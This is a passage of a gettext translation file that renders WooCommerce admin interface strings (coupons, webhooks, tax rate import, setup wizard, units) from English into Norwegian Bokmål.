#: assets/client/admin/components/index.js:2
msgid "N/A"
msgstr "I/A"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:438
msgid "No billing address set."
msgstr "Ingen fakturaadresse satt."
#: includes/admin/class-wc-admin-setup-wizard.php:511
#: includes/wc-account-functions.php:110
#: src/Blocks/Domain/Services/CheckoutFields.php:727
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:64
#: assets/client/admin/chunks/5875.js:1
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "Address"
msgid_plural "Addresses"
msgstr[0] "Adresse"
msgstr[1] "Adresser"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:422
msgid "Load billing address"
msgstr "Last fakturaadresse"
#: src/Internal/Admin/Orders/ListTable.php:1702
#: templates/checkout/form-billing.php:28
msgid "Billing details"
msgstr "Faktureringsdetaljer"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:355
msgid "Customer:"
msgstr "Kunde:"
#: includes/rest-api/Controllers/Version2/class-wc-rest-network-orders-v2-controller.php:78
msgid "Order Status"
msgstr "Ordrestatus"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:323
msgid "h"
msgstr "h"
#: includes/class-wc-privacy-exporters.php:252
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:43
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:389
msgid "Order Date"
msgstr "Ordredato"
#: includes/cli/class-wc-cli-runner.php:111
#: src/Admin/API/Reports/Customers/Controller.php:193
#: src/Admin/API/Reports/Orders/Controller.php:167
msgid "Customer ID."
msgstr "Kunde-ID."
#. translators: %s: payment method
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:239
msgid "Payment via %s"
msgstr "Betaling via %s"
#: includes/admin/class-wc-admin-profile.php:86
#: includes/admin/class-wc-admin-profile.php:146
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:102
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:171
#: includes/class-wc-countries.php:1748
#: includes/customizer/class-wc-shop-customizer.php:744
#: src/Blocks/Domain/Services/CheckoutFields.php:787
#: src/Internal/Admin/Orders/ListTable.php:1711
#: src/Internal/Admin/Orders/ListTable.php:1730
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:100
#: assets/client/blocks/checkout.js:2
msgid "Phone"
msgstr "Telefon"
#. translators: Submit button text for filters.
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:57
#: includes/widgets/class-wc-widget-layered-nav.php:288
#: src/Blocks/BlockTypes/ProductFilters.php:164
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:43
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:57
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/blocks/attribute-filter-frontend.js:6
#: assets/client/blocks/attribute-filter-wrapper-frontend.js:6
#: assets/client/blocks/attribute-filter.js:12 assets/client/blocks/cart.js:23
#: assets/client/blocks/checkout.js:19
#: assets/client/blocks/price-filter-frontend.js:3
#: assets/client/blocks/price-filter-wrapper-frontend.js:5
#: assets/client/blocks/price-filter.js:3
#: assets/client/blocks/product-filters.js:1
#: assets/client/blocks/rating-filter-frontend.js:5
#: assets/client/blocks/rating-filter-wrapper-frontend.js:5
#: assets/client/blocks/rating-filter.js:5
#: assets/client/blocks/stock-filter-frontend.js:3
#: assets/client/blocks/stock-filter-wrapper-frontend.js:6
#: assets/client/blocks/stock-filter.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:31
msgid "Apply"
msgstr "Bruk"
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:215
msgid "Regenerate download permissions"
msgstr "Regenerer nedlastingstillatelser"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:363
msgid "Coupon code already exists - customers will use the latest coupon with this code."
msgstr "Rabattkoden finnes allerede, kunder vil bruke den siste rabattkoden med denne koden."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:330
msgid "How many times this coupon can be used by an individual user. Uses billing email for guests, and user ID for logged in users."
msgstr "Hvor mange ganger denne rabattkoden kan brukes av en enkelt bruker. Bruker e-postadresse for fakturering for gjester, og bruker-id for innloggede brukere."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:328
msgid "Usage limit per user"
msgstr "Bruksgrense pr. bruker"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:312
msgid "The maximum number of individual items this coupon can apply to when using product discounts. Leave blank to apply to all qualifying items in cart."
msgstr "Maksimum antall individuelle produkter denne rabattkoden kan brukes for når du bruker produktrabatter. La stå tomt for å gjelde for alle kvalifiserte produkter i handlekurven."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:310
msgid "Limit usage to X items"
msgstr "Begrens bruk til X produkter"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:294
msgid "How many times this coupon can be used before it is void."
msgstr "Hvor mange ganger denne rabattkoden kan brukes før den blir ugyldig."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:292
msgid "Usage limit per coupon"
msgstr "Bruksgrense per rabattkode"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:270
msgid "No restrictions"
msgstr "Ingen restriksjoner"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:248
msgid "No categories"
msgstr "Ingen kategorier"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:247
msgid "Exclude categories"
msgstr "Utelat kategorier"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:231
msgid "Any category"
msgstr "Enhver kategori"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:230
#: includes/class-wc-post-types.php:99
#: includes/react-admin/connect-existing-pages.php:258
#: includes/widgets/class-wc-widget-product-categories.php:43
msgid "Product categories"
msgstr "Produktkategorier"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:208
msgid "Exclude products"
msgstr "Utelat produkter"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:191
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:209
#: includes/admin/meta-boxes/views/html-order-items.php:440
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:17
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:35
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:51
#: includes/admin/reports/class-wc-report-sales-by-product.php:223
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1425
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:315
msgid "Search for a product…"
msgstr "Søk etter et produkt…"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:180
msgid "Check this box if the coupon should not apply to items on sale. Per-item coupons will only work if the item is not on sale. Per-cart coupons will only work if there are items in the cart that are not on sale."
msgstr "Kryss av dersom rabattkoden ikke skal kunne brukes på produkter som er på tilbud. Per-produkt-rabattkoder vil bare virke dersom produktet ikke er på tilbud. Per-handlekurv-rabattkoder vil bare virke dersom det ikke er noen tilbudsprodukter i handlekurven."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:179
msgid "Exclude sale items"
msgstr "Utelat tilbudsprodukter"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:170
msgid "Check this box if the coupon cannot be used in conjunction with other coupons."
msgstr "Kryss av dersom rabattkoden ikke skal kunne brukes sammen med andre rabattkoder."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:169
msgid "Individual use only"
msgstr "Kun individuell bruk"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:158
msgid "This field allows you to set the maximum spend (subtotal) allowed when using the coupon."
msgstr "Dette feltet lar deg angi maksimum forbruk (delsum) som er tillatt ved bruk av rabattkoden."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:157
msgid "No maximum"
msgstr "Inget maksimum"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:156
msgid "Maximum spend"
msgstr "Maksimum forbruk"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:145
msgid "This field allows you to set the minimum spend (subtotal) allowed to use the coupon."
msgstr "Dette feltet lar deg angi minimum forbruk (delsum) som er tillatt ved bruk av rabattkoden."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:144
msgid "No minimum"
msgstr "Ingen minimum"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:143
msgid "Minimum spend"
msgstr "Minimum forbruk"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:119
msgid "Coupon expiry date"
msgstr "Utløpsdato for rabattkoden"
#. translators: %s: URL to free shipping document.
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:107
msgid "Check this box if the coupon grants free shipping. A <a href=\"%s\" target=\"_blank\">free shipping method</a> must be enabled in your shipping zone and be set to require \"a valid free shipping coupon\" (see the \"Free Shipping Requires\" setting)."
msgstr "Kryss av dersom rabattkoden gir gratis levering. En <a href=\"%s\" target=\"_blank\">gratis leveringsmåte</a> i din leveringssone må være slått på og satt til å kreve \"en gyldig rabattkode for gratis levering\" (se \"Gratis levering krever\"-innstillingen)."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:105
msgid "Allow free shipping"
msgstr "Tillat fri frakt"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:93
msgid "Value of the coupon."
msgstr "Verdien for rabattkoden."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:81
msgid "Discount type"
msgstr "Rabattype"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:58
msgid "Usage limits"
msgstr "Bruksgrenser"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:53
msgid "Usage restriction"
msgstr "Bruksbegrensning"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:48
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:314
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:79
#: includes/admin/settings/class-wc-settings-general.php:27
#: includes/admin/settings/class-wc-settings-page.php:466
#: includes/admin/settings/class-wc-settings-products.php:48
#: includes/rest-api/Controllers/Version4/Settings/class-wc-rest-general-settings-v4-controller.php:414
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettings.php:80
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsGeneral.php:34
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:73
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:76
msgid "General"
msgstr "Generelt"
#: includes/admin/importers/class-wc-tax-rate-importer.php:349
msgid "Sorry, there has been an error."
msgstr "Beklager, det har oppstått en feil."
#: includes/admin/importers/class-wc-tax-rate-importer.php:334
msgid "Upload file and import"
msgstr "Last opp fil og importer"
#: includes/admin/importers/class-wc-tax-rate-importer.php:328
msgid "Delimiter"
msgstr "Skilletegn"
#: includes/admin/importers/class-wc-tax-rate-importer.php:321
msgid "OR enter path to file:"
msgstr "ELLER legg inn sti til filen:"
#. translators: %s: maximum upload size
#: includes/admin/importers/class-wc-tax-rate-importer.php:312
#: includes/admin/importers/views/html-product-csv-import-form.php:45
msgid "Maximum size: %s"
msgstr "Maksimum størrelse: %s"
#: includes/admin/importers/class-wc-tax-rate-importer.php:302
msgid "Choose a file from your computer:"
msgstr "Velg en fil fra datamaskinen din:"
#: includes/admin/importers/class-wc-tax-rate-importer.php:293
#: includes/admin/importers/views/html-product-csv-import-form.php:31
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Før du kan laste opp importfilen din, må du fikse følgende feil:"
#: includes/admin/importers/class-wc-tax-rate-importer.php:280
msgid "Hi there! Upload a CSV file containing tax rates to import the contents into your shop. Choose a .csv file to upload, then click \"Upload file and import\"."
msgstr "Hei! Last opp en CSV-fil som inneholder avgiftssatser for å importere innholdet til butikken din. Velg en .csv-fil å laste opp og trykk \"Last opp fil og importer\"."
#: includes/admin/importers/class-wc-tax-rate-importer.php:264
msgid "Import tax rates"
msgstr "Importer avgiftssatser"
#: includes/admin/importers/class-wc-tax-rate-importer.php:199
msgid "View tax rates"
msgstr "Vis avgiftssatser"
#: includes/admin/importers/class-wc-tax-rate-importer.php:199
msgid "All done!"
msgstr "Helt ferdig!"
#: includes/admin/importers/class-wc-tax-rate-importer.php:177
msgid "The CSV is invalid."
msgstr "CSV er ikke gyldig."
#: includes/admin/importers/class-wc-tax-rate-importer.php:138
msgid "The file does not exist, please try again."
msgstr "Filen eksisterer ikke. Vennligst forsøk igjen."
#: includes/admin/class-wc-admin.php:308
msgid "Thank you for selling with WooCommerce."
msgstr "Takk for at du selger med WooCommerce."
#: includes/admin/class-wc-admin.php:299
msgid "Thanks :)"
msgstr "Takk :)"
#: includes/class-wc-install.php:2479
msgid "Docs"
msgstr "Dokumenter"
#. translators: %s: WooCommerce version
#: includes/admin/class-wc-admin.php:343
msgid "Version %s"
msgstr "Versjon %s"
#: includes/admin/class-wc-admin-webhooks.php:316
msgid "Search webhooks"
msgstr "Søk i Webhook'er"
#: includes/admin/class-wc-admin-webhooks.php:298
msgid "Add webhook"
msgstr "Legg til Webhook"
#: includes/admin/class-wc-admin-webhooks.php:298
#: includes/admin/settings/class-wc-settings-advanced.php:51
msgid "Webhooks"
msgstr "Webhooks"
#: includes/admin/class-wc-admin-webhooks.php:259
msgid "Webhook created successfully."
msgstr "Webhook opprettet."
#: includes/admin/class-wc-admin-webhooks.php:254
msgid "Webhook updated successfully."
msgstr "Webhook vellykket oppdatert."
#. translators: %d: count
#: includes/admin/class-wc-admin-webhooks.php:249
msgid "%d webhook permanently deleted."
msgid_plural "%d webhooks permanently deleted."
msgstr[0] "%d webhook permanent slettet."
msgstr[1] "%d webhook'er permanent slettet."
#: includes/admin/class-wc-admin-webhooks-table-list.php:247
msgid "You do not have permission to edit Webhooks"
msgstr "Du har ikke tillatelse til å redigere webhook'er"
#: includes/admin/class-wc-admin-webhooks.php:58
msgid "You do not have permission to update Webhooks"
msgstr "Du har ikke tillatelse til å oppdatere webhook'er"
#. translators: %s: date
#: includes/admin/class-wc-admin-webhooks.php:74
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:516
msgid "Webhook created on %s"
msgstr "Webhook opprettet %s"
#: src/Internal/Admin/Orders/ListTable.php:798
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1329
msgid "Empty Trash"
msgstr "Tøm papirkurven"
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:68
#: src/Internal/Admin/Orders/ListTable.php:335
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:703
msgid "Move to Trash"
msgstr "Flytt til papirkurven"
#. translators: %s: count
#: includes/admin/class-wc-admin-webhooks-table-list.php:189
msgctxt "posts"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "Den <span class=\"count\">ene</span>"
msgstr[1] "Alle <span class=\"count\">(%s)</span>"
#. translators: %s: number of orders
#: src/Blocks/Domain/Services/DraftOrders.php:126
msgid "Drafts <span class=\"count\">(%s)</span>"
msgid_plural "Drafts <span class=\"count\">(%s)</span>"
msgstr[0] "Utkast <span class=\"count\">(%s)</span>"
msgstr[1] "Utkast <span class=\"count\">(%s)</span>"
#: includes/admin/class-wc-admin-webhooks-table-list.php:53
#: includes/admin/settings/views/html-webhooks-edit.php:112
msgid "Delivery URL"
msgstr "Leverings-URL"
#: includes/admin/class-wc-admin-webhooks-table-list.php:52
#: includes/admin/settings/views/html-webhooks-edit.php:56
msgid "Topic"
msgstr "Tema"
#: includes/admin/class-wc-admin-taxonomies.php:362
msgid "Attribute terms can be assigned to products and variations.<br/><br/><b>Note</b>: Deleting a term will remove it from all products and variations to which it has been assigned. Recreating a term will not automatically assign it back to products."
msgstr "Attributt-termer kan tilordnes produkter eller varianter.<br/><br/><b>Merk</b>: Å slette en term vil fjerne det fra alle produkter og varianter det er tilordnet. Å gjenskape termer vil ikke automatisk tillordne det tilbake til produkter."
#: includes/admin/class-wc-admin-taxonomies.php:329
msgid "Product categories for your store can be managed here. To change the order of categories on the front-end you can drag and drop to sort them. To see more categories listed click the \"screen options\" link at the top-right of this page."
msgstr "Produktkategorier for butikken deres kan behandles her. For å endre rekkefølgen for kategorier på publikumsområdet kan du dra og slippe for å sortere dem. For å se flere kategorier oppført, trykk på \"Visningsinnstillinger\"-lenken øverst til høyre på siden."
#: includes/admin/class-wc-admin-brands.php:349
#: includes/admin/class-wc-admin-brands.php:432
#: includes/admin/class-wc-admin-taxonomies.php:165
#: includes/admin/class-wc-admin-taxonomies.php:275
msgid "Use image"
msgstr "Bruk bilde"
#: includes/admin/class-wc-admin-brands.php:322
#: includes/admin/class-wc-admin-brands.php:405
#: includes/admin/class-wc-admin-taxonomies.php:139
#: includes/admin/class-wc-admin-taxonomies.php:249
#: assets/client/admin/components/index.js:2
msgid "Remove image"
msgstr "Fjern bilde"
#: includes/admin/class-wc-admin-brands.php:321
#: includes/admin/class-wc-admin-brands.php:404
#: includes/admin/class-wc-admin-taxonomies.php:138
#: includes/admin/class-wc-admin-taxonomies.php:248
msgid "Upload/Add image"
msgstr "Last opp/Legg til bilde"
#: includes/admin/class-wc-admin-brands.php:317
#: includes/admin/class-wc-admin-brands.php:399
#: includes/admin/class-wc-admin-taxonomies.php:134
#: includes/admin/class-wc-admin-taxonomies.php:243
#: includes/admin/class-wc-admin-taxonomies.php:453
#: assets/client/blocks/all-products.js:9
msgid "Thumbnail"
msgstr "Miniatyrbilde"
#: includes/admin/class-wc-admin-taxonomies.php:130
#: includes/admin/class-wc-admin-taxonomies.php:238
msgid "Both"
msgstr "Begge"
#: includes/admin/class-wc-admin-taxonomies.php:129
#: includes/admin/class-wc-admin-taxonomies.php:237
msgid "Subcategories"
msgstr "Underkategorier"
#: includes/admin/class-wc-admin-taxonomies.php:128
#: includes/admin/class-wc-admin-taxonomies.php:236
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:190
#: includes/admin/settings/class-wc-settings-products.php:29
#: includes/class-wc-post-types.php:326
#: includes/react-admin/connect-existing-pages.php:207
#: includes/widgets/class-wc-widget-products.php:29
#: src/Admin/API/Reports/Categories/Controller.php:248
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsProducts.php:34
#: src/Admin/ReportCSVEmail.php:71 src/Internal/Admin/Analytics.php:206
#: src/Internal/Admin/Orders/ListTable.php:1817
#: assets/client/admin/app/index.js:2 assets/client/admin/chunks/4706.js:1
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/wp-admin-scripts/command-palette.js:2
#: assets/client/blocks/featured-category.js:13
#: assets/client/blocks/featured-product.js:13
#: assets/client/blocks/handpicked-products.js:7
#: assets/client/blocks/handpicked-products.js:8
#: assets/client/blocks/product-collection.js:14
#: assets/client/blocks/reviews-by-product.js:7
#: assets/client/blocks/single-product.js:7 assets/client/blocks/wc-blocks.js:1
msgid "Products"
msgstr "Produkter"
#: includes/admin/class-wc-admin-taxonomies.php:125
#: includes/admin/class-wc-admin-taxonomies.php:232
#: includes/widgets/class-wc-widget-layered-nav.php:88
msgid "Display type"
msgstr "Visningstype"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:206
msgid "Delete WooCommerce tax rates"
msgstr "Slett WooCommerce avgiftssatser"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:167
msgid "This tool will reset the admin, customer and shop_manager roles to default. Use this if your users cannot access all of the WooCommerce admin pages."
msgstr "Dette verktøyet vil tilbakestille admin-, kunde- og butikkadministratorroller til standard. Bruk dette hvis brukerne ikke har tilgang til alle adminsidene i WooCommerce."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:166
msgid "Reset capabilities"
msgstr "Tilbakestill tillatelser"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:165
msgid "Capabilities"
msgstr "Tillatelser"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:162
msgid "This tool will recount product terms - useful when changing your settings in a way which hides products from the catalog."
msgstr "Dette verktøyet vil telle produkt-termer på nytt, nyttig når du endrer innstillingene på en måte som skjuler produkter fra katalogen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:161
msgid "Recount terms"
msgstr "Tell termer på nytt"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:160
msgid "Term counts"
msgstr "Telte termer"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:137
msgid "This tool will clear ALL expired transients from WordPress."
msgstr "Dette verktøyet vil slette ALLE utløpte transienter fra WordPress."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:135
msgid "Expired transients"
msgstr "Utløpte transienter"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:132
msgid "This tool will clear the product/shop transients cache."
msgstr "Dette verktøyet vil tømme transient-mellomlageret for produkt/butikk."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:131
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:136
msgid "Clear transients"
msgstr "Tøm transienter"
#: includes/admin/class-wc-admin-status.php:95
msgid "Your changes have been saved."
msgstr "Endringene dine har blitt lagret."
#. translators: %s: callback string
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:662
msgid "There was an error calling %s"
msgstr "Det oppstod en feil ved å kalle %s"
#. translators: %1$s: callback string, %2$s: error message
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:640
msgid "There was an error calling %1$s: %2$s"
msgstr "Det oppstod en feil ved å kalle %1$s: %2$s"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:572
msgid "Tax rates successfully deleted"
msgstr "Avgiftssatser vellykket fjernet"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:546
msgid "Terms successfully recounted"
msgstr "Termer vellykket telt på nytt"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:541
msgid "Roles successfully reset"
msgstr "Roller vellykket tilbakestilt"
#. translators: %d: amount of expired transients
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:483
msgid "%d transients rows cleared"
msgstr "%d transientrader fjernet"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:478
msgid "Product transients cleared"
msgstr "Produkttransienter slettet"
#: includes/admin/class-wc-admin-assets.php:769
#: src/Internal/Admin/Notes/WooCommerceSubscriptions.php:55
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Learn More"
msgstr "Lær mer"
#: includes/admin/class-wc-admin-setup-wizard.php:2261
msgid "Next step"
msgstr "Neste steg"
#: includes/wc-product-functions.php:1069
msgid "Allow"
msgstr "Tillat"
#: includes/gateways/cod/class-wc-gateway-cod.php:101
msgid "Enable cash on delivery"
msgstr "Slå på betaling ved levering"
#: includes/admin/class-wc-admin-setup-wizard.php:1605
#: includes/gateways/cod/class-wc-gateway-cod.php:89
#: includes/gateways/cod/class-wc-gateway-cod.php:110
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:194
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/blocks/wc-payment-method-cod.js:1
msgid "Cash on delivery"
msgstr "Kontant ved levering"
#: includes/admin/class-wc-admin-setup-wizard.php:1800
msgid "Offline Payments"
msgstr "Frakoblede betalinger"
#: includes/admin/class-wc-admin-setup-wizard.php:1464
msgid "PayPal email address"
msgstr "PayPal e-postadresse"
#: includes/admin/class-wc-admin-setup-wizard.php:524
#: includes/admin/class-wc-admin-setup-wizard.php:526
#: includes/class-wc-countries.php:932 includes/class-wc-countries.php:1280
#: includes/class-wc-countries.php:1429 includes/class-wc-countries.php:1630
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "State"
msgstr "Delstat"
#: i18n/units.php:26
msgid "yd"
msgstr "yard"
#: i18n/units.php:25
msgid "in"
msgstr "in"
#: i18n/units.php:24
msgid "mm"
msgstr "mm"
#: i18n/units.php:23
msgid "cm"
msgstr "cm"
#: i18n/units.php:22
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:324
msgid "m"
msgstr "m"
#: i18n/units.php:19
msgid "oz"
msgstr "oz"
#: i18n/units.php:18
msgid "lbs"
msgstr "lb"
#: i18n/units.php:17
msgid "g"
msgstr "g"
#: i18n/units.php:16
msgid "kg"
msgstr "kg"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:607
msgid "Decimal separator."
msgstr "Desimalskilletegn."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:601
msgid "Thousand separator."
msgstr "Tusenskilletegn."
#: includes/admin/settings/class-wc-settings-general.php:330
msgid "Right with space"
msgstr "Høyre med mellomrom"
#: includes/admin/settings/class-wc-settings-general.php:329
msgid "Left with space"
msgstr "Venstre med mellomrom"
#: includes/admin/settings/class-wc-settings-emails.php:204
#: includes/admin/settings/class-wc-settings-general.php:328
msgid "Right"
msgstr "Høyre"
#: includes/admin/settings/class-wc-settings-emails.php:202
#: includes/admin/settings/class-wc-settings-general.php:327
msgid "Left"
msgstr "Venstre"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:595
msgid "Currency position."
msgstr "Valutaposisjon."
#: includes/admin/class-wc-admin-setup-wizard.php:543
#: includes/admin/class-wc-admin-setup-wizard.php:546
msgid "Choose a currency…"
msgstr "Velg en valuta…"
#: includes/admin/class-wc-admin-setup-wizard.php:504
msgid "Where is your store based?"
msgstr "Hvor er butikken din basert?"
#: includes/admin/class-wc-admin-setup-wizard.php:369
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Skip this step"
msgstr "Hoppe over dette trinnet"
#: includes/admin/class-wc-admin-setup-wizard.php:644
#: includes/admin/class-wc-admin-setup-wizard.php:1156
#: includes/admin/class-wc-admin-setup-wizard.php:1818
#: includes/admin/class-wc-admin-setup-wizard.php:1953
#: includes/admin/importers/views/html-product-csv-import-form.php:115
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:270
#: assets/client/admin/chunks/5875.js:1 assets/client/admin/chunks/6526.js:1
#: assets/client/admin/chunks/core-profiler.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/blocks/product-collection.js:16
msgid "Continue"
msgstr "Fortsette"
#: includes/class-wc-install.php:1048
msgctxt "Page title"
msgid "My account"
msgstr "Min konto"
#: includes/class-wc-install.php:1043
msgctxt "Page title"
msgid "Checkout"
msgstr "Kasse"
#: includes/class-wc-install.php:1038
msgctxt "Page title"
msgid "Cart"
msgstr "Handlekurv"
#: includes/class-wc-install.php:1033
msgctxt "Page title"
msgid "Shop"
msgstr "Butikk"
#: includes/admin/class-wc-admin-setup-wizard.php:367
msgid "Not right now"
msgstr "Ikke akkurat nå"
#: includes/admin/class-wc-admin-setup-wizard.php:598
msgid "Let's go!"
msgstr "Kom i gang!"
#: includes/admin/class-wc-admin-setup-wizard.php:346
msgid "WooCommerce › Setup Wizard"
msgstr "WooCommerce › konfigureringsveiviser"
#: includes/admin/class-wc-admin-setup-wizard.php:256
msgid "Ready!"
msgstr "Klar!"
#: includes/class-wc-privacy.php:124 includes/emails/class-wc-email.php:451
#: src/Admin/Features/Blueprint/Exporters/ExportWCPaymentGateways.php:76
#: src/Internal/Admin/Settings/PaymentsController.php:69
#: assets/client/admin/chunks/homescreen.js:1
msgid "Payments"
msgstr "Betalinger"
#: includes/admin/settings/class-wc-settings-advanced.php:49
#: includes/admin/settings/class-wc-settings-advanced.php:72
msgid "Page setup"
msgstr "Sideoppsett"
#: includes/abstracts/abstract-wc-settings-api.php:832
#: includes/admin/class-wc-admin-settings.php:782
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:73
msgid "Select none"
msgstr "Velg ingen"
#: includes/abstracts/abstract-wc-settings-api.php:832
#: includes/admin/class-wc-admin-menus.php:449
#: includes/admin/class-wc-admin-settings.php:782
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:72
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Select all"
msgstr "Velg alle"
#: includes/admin/class-wc-admin-settings.php:678
msgid "Select a page…"
msgstr "Velg en side…"
#: includes/admin/class-wc-admin-settings.php:647
msgid "Hard crop?"
msgstr "Hard beskjæring?"
#: includes/admin/class-wc-admin-settings.php:635
msgid "The settings of this image size have been disabled because its values are being overwritten by a filter."
msgstr "Innstillingene for denne bildestørrelsen har blitt slått av fordi dens verdier blir overskrevet av et filter."
#: includes/admin/class-wc-admin-settings.php:180
msgid "The changes you made will be lost if you navigate away from this page."
msgstr "Endringene du har gjort, vil gå tapt hvis du navigerer bort fra denne siden."
#: includes/admin/class-wc-admin-settings.php:118
msgid "Your settings have been saved."
msgstr "Innstillingene dine har blitt lagret."
#: includes/admin/class-wc-admin-reports.php:178
msgid "Taxes by date"
msgstr "Avgifter etter dato"
#: includes/admin/class-wc-admin-reports.php:172
msgid "Taxes by code"
msgstr "Avgifter etter kode"
#: includes/admin/class-wc-admin-reports.php:169
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:280
